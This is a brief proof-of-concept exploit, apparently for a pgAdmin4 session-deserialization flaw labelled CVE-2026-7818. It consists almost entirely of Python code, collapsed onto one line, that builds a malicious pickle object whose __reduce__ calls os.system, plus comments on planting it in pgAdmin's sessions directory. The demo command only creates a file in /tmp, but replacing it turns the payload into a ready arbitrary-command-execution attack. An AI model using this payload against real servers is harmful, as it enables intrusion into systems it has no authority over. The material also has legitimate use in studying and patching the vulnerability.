CVE-2026-7818 pgAdmin4反序列化漏洞

import pickle import os # Define a class that executes a command when deserialized class ExploitPayload: def __reduce__(self): # Command to execute: creating a file as proof of concept return (os.system, ('touch /tmp/pwned_by_cve_2026_7818',)) # Serialize the malicious object malicious_data = pickle.dumps(ExploitPayload()) # In a real attack scenario, write this to the session directory # Example: /var/lib/pgadmin/sessions/malicious_session print(f"Generated PoC payload length: {len(malicious_data)} bytes") print("Payload content (hex):", malicious_data.hex()) # To exploit: Write 'malicious_data' to a file in the pgAdmin sessions directory. # When pgAdmin deserializes this session, the command will be executed.